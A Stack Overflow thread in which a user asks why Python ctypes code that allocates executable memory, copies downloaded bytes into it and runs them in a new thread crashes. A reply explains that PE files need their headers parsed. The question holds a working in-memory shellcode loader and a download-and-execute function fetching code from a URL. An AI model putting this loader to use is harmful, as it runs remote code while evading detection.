Python Run EXE in memory

1

I'm trying to execute a .exe in memory in python but is not working... any help?

the error: Process finished with exit code -1073741819 (0xC0000005).. only one .exe in python works.. (converted from python to exe)

the code is passed by this function via parameter... its a byte array

 def executar(code):
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(code)).from_buffer(code)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(code)))
    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Im trying several .exe files.... Im fallowing this post here: https://medium.com/@AntiSec_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d

 def downloadandExecute(url): 
     response = requests.get(url) 
     code = bytearray(response.content) 
     executar(code)

but the error persists

python
memory-management
exe
asked on Stack Overflow Jan 3, 2019 by JhonDoe • edited Jan 3, 2019 by JhonDoe

1 Answer

2

I think the code is correct (not tested), but the issue is that you're trying to pass an exe file starting with a lot of metadata to a function which expects pure code. The examples you linked are using straight binary code which is executed without any transformations. They're just streams of instructions.

To load a real exe (PE) file, you'd need to do a bit more work - parse the headers, load required libraries, prepare heap/stack, prepare other sections and mappings, etc.

You can read more about the PE format at https://msdn.microsoft.com/en-au/library/ms809762.aspx

answered on Stack Overflow Jan 3, 2019 by viraptor

User contributions licensed under CC BY-SA 3.0